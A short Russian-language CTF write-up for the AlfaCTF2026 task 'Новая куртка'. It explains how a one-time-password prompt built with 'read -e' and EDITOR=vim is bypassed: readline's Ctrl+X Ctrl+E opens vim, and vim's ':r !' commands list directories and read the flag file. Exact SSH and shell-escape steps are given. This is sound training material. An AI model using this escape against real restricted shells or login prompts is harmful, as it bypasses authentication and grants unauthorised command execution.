April 26

Новая куртка

CTF: АльфаЦТФ2026
Трек: IT-трек

Автор: mayb3_s0m3t1m3

Категория: Linux / Bash / SSH
Суть: обход 2FA через read -e + $EDITOR=vim

https://alfactf.ru/tasks/newjacket

При переходе по ссылке мы увидим страницу, на которой нет ничего, кроме этого:

Обратим внимание на следующие строки:

bashexport EDITOR=/usr/bin/vim
bashread -e -s -r -p 'One-time password: ' otp

Можно увидеть, что 2FA ломается через read -e + EDITOR=vim, потому что можно открыть редактор и выйти в shell до сравнения OTP. Это происходит по причине того, что read -e включает использование readline, а readline, в свою очередь, поддерживает возможность открыть текущий ввод в $EDITOR через нажатие нужной комбинации клавиш.


Эксплуатация

Подключимся:

bashssh newjacket-w9gzrloh.alfactf.ru -l newjacket

или:

bashssh -p2244 newjacket@alfactf.ru

Появится ввод One-time password:

Откроем vim. Нужно нажать:

Ctrl+X  →  Ctrl+E

Внутри vim вводим следующую последовательность команд:

r !ls -la /
r !ls -la /home
r !ls -la /home/newjacket
r !cat /home/newjacket/flag.txt

Флаг достался нам всего за четыре строчки в vim.